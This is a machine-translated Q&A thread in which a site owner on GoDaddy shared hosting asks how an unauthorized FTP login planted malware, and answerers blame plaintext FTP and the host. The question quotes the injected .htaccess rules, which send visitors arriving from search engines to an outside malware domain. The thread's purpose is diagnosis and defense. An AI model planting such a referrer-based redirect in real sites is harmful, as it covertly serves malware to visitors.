通过受感染的FTP帐户剖析网站攻击


9

我的网站已被黑客入侵,目前,我知道一些细节,但对于确切的发生方式或将来如何阻止它,我一无所知。我需要您的帮助来剖析攻击,以防止再次发生。这有点长,但是我想确保提供足够的信息来帮助解决问题。

这是发生了什么事。

几周前,我收到托管公司GoDaddy的电子邮件,说我的网站使用了太多资源,他们期望MySQL查询是罪魁祸首。有问题的查询是其中包含5-6个字词的搜索查询。我设置的方式越多,搜索的词越多,查询变得越复杂。没问题。我已修复它,但与此同时,GoDaddy也暂时关闭了我的帐户,大约3天后一切恢复正常。

发生此事件后,我的搜索引擎流量急剧下降了大约90%。我很没想到,它很烂,将其写到惨败的查询中,并确定它会在Google重新抓取该网站后及时返回。没有。

几天前,我收到用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该网站,但没有看到任何内容注入该页面。然后,我检查了.htaccess文件,发现了以下内容:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

可爱。而且有点曲折。我通常会从地址栏或书签直接导航到该站点,这将正常加载该站点。我很少通过搜索引擎的链接访问我的网站,因此这就是为什么黑客一直没有被发现的原因。该恶意软件也未直接托管在我的网站上。

快速搜索显示,其他人也遇到了同样的麻烦,尽管我怀疑还有更多的人尚未发现它。大多数建议是升级到软件的最新版本,更改密码等。

由于使用的是我自己的自定义内容管理系统,而不是无处不在的Wordpress,因此我进行了更深入的研究。我扫描了所有文件,以查找PHP漏洞利用中的常用功能:base64_decode,exec,shell等。。。没有发现任何可疑的内容,也没有多余的文件。

接下来,我检查了GoDaddy的文件管理器历史记录,发现.htaccess文件在与我的搜索查询被指控消耗过多服务器资源的日期完全相同的日期被更改。这可能是不幸的巧合,但我不确定。.htaccess文件中的重定向似乎并不占用大量资源,并且查询非常复杂,以至于它可能占用大量资源。

我想确保我的代码不是问题,因此在修改.htaccess文件时,我检查了流量日志中是否存在可疑活动,但没有看到任何看起来异常或类似GET或POST的活动尝试入侵。

最后,我从GoDaddy请求了FTP日志,并发现在更改.htaccess文件时存在未经授权的FTP访问。当时我正在休假,我的计算机实际上已经关闭,并且没有其他人拥有访问凭据。看起来无论谁使用FTP都使用主要FTP用户作为该帐户,但IP地址为91.220.0.19,看起来像是来自拉脱维亚

在共享主机上,GoDaddy似乎会根据站点URL自动分配主要的FTP用户名。这是非常可预测的,或者至少是在我设置托管帐户时。几年前,我首次注册了托管帐户,因此它可能已更改,但是根据我的记忆,我无法选择主要的FTP用户名。目前,您也无法更改用户名,听起来GoDaddy也无法更改用户名,除非您取消帐户并辞职。虽然您可以创建,删除和编辑其他FTP用户,但不能删除主要的FTP用户。仅密码可以更改。

除了主要的FTP用户名,该站点,数据库,管理员和帐户的所有访问凭据都是乱码,随机的用户名和密码,就像猫咪在键盘上走路一样。例如:lkSADf32!$ asJd3。

如果这是链接中的薄弱环节,我已经对我的计算机进行了彻底的病毒,恶意软件扫描,但是什么也没发现。我使用防火墙,防病毒程序,并尝试使用安全的浏览习惯。

更新站点时,我使用Core FTP LE和SSH / SFTP连接。托管帐户是Linux安装程序。

在与GoDaddy技术支持人员交谈时,他们不确定FTP密码是如何被泄露的。在共享主机上,他们无法在FTP用户级别放置IP阻止。他们也无法更改主FTP用户名。当我问他们是否对FTP访问具有蛮力保护时,该技术起初听起来不确定,但随后我说了几遍后说他们确实做到了。但是,我想我记得在上一个电话中问过同样的问题,听说GoDaddy在FTP访问上没有暴力保护。在这一点上,我不知道他们是否这样做。

我已经全面更改了所有访问凭据,并使用.htaccess文件禁止了拉脱维亚IP地址(如果他们使用FTP,可能不会有所不同),但是我仍然不确定FTP的使用方式密码被盗用。

我相当确定问题不是我的代码(即使是,也不应该公开FTP信息)或我的计算机。我怀疑但不知道如何证明,因为用户名是可预测的,所以FTP密码是强行使用的。蛮力攻击也可能与服务器资源用尽(归咎于我的查询)同时发生,但我对服务器的技术方面了解不足,无法知道这是否可能甚至可能。

现在,我觉得我已经知道该做什么了。我希望能够了解如何进行攻击以及如何预防攻击,因此,如果您对攻击媒介,可以运行的诊断程序或其他安全措施有任何进一步的了解,我将不胜感激。我非常愿意更改主机或放弃共享主机,但是我想确保可以防止这种情况再次发生。

救救我,Obi-Wan Kenobi ...

Answers:


8

阅读您的帖子时,有些东西像熟悉的一样缠绕在一起。然后它打动了我:一个多月前,当我尝试访问游戏网站时,我已经看到了这一点。请参阅此处 -相同的行为,仅对搜索引擎引荐来源网址采取的重定向操作。

您的域名.htaccess看起来很熟悉,因为几周前我家用计算机的防病毒软件对我发出了很大的声响。

而且,您不知道吗?我观察过该网站的主机吗?去吧爸爸。

我认为您不会因为自己的任何过失而受到暴力破解或密码泄露;我认为GoDaddy是这里的一个受害人。而且我不会把它们遗忘以纯文本格式存储FTP密码。更多的挖掘发现这篇文章暗示了相同的观点。蛮力保护可能是他们中最少的问题。


我假设OP更改了FTP凭据。希望他们不使用明文密码存储。那真是令人失望。
埃文·安德森

@Evan可以查看上一段中链接的文章。似乎支持“怪GoDaddy”理论。这意味着什么:他们的密码加密只是想象中的一个有趣练习。;)
Shane Madden

再次查看所有内容后,我通过SSH 连接。但是,我必须使用的凭证是主要FTP用户的凭证。没有一种方法可以只为SSH设置用户,而不能同时为共享托管的FTP服务。
亲爱的Abby

@Dear当您通过SSH登录时,凭据在传输过程中被加密。仅当通过非安全协议(例如FTP或HTTP)进行连接时,它们才容易被电线嗅探。
Shane Madden

2
如果您没有其他理由表示您有耐心阅读整篇文章,则表示支持。
韦斯利

6

简单!不要使用FTP。它以纯文本格式传输凭据,并以纯文本格式传输所有数据。这是传输文件最不安全的方法之一。如果您的主机不支持其他任何方式,请查找新主机。


+1-您无法直接与托管服务器建立点对点连接。根据定义,您的明文FTP登录将必须传输不受信任的网络。您之所以拥有所有权,是因为您的凭据一次或一次都记录在某个地方。(实际上,ddds很好,因为修改您的网站的攻击者不是捕获凭据的人。您可能被运行在ISP网络内部的未检测到的嗅探器记录下来,并将其添加到已购买和出售的凭据数据库中。 ..)在当今的Internet上,您不能简单地使用明文身份验证。期。
埃文·安德森

实际上,我并没有使用SSH超过一年,而那时没有使用FTP。但是,即使GoDaddy提供了其他传输文件的方式,它也不允许您删除主要的FTP用户。就像我说的,我可以切换主机,我只想弄清楚发生了什么。有人将如何监听FTP凭据?
亲爱的艾比(Abby Abby)

@亲爱的-FTP用户名和密码将以纯文本格式显示在数据包中。任何能够捕获数据包的程序都会将其显示出来。埃文(Evan)的评论很好地说明了这一点。
MDMarra 2011年

@Evan-解决方案是:永远不要使用FTP和D沟共享主机?还是可以只使用SSH并通过共享托管保持安全?
亲爱的艾比(Abby)

3
@Dear-如果主机无法为我的站点禁用FTP,则我不想使用它们。
MDMarra 2011年
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.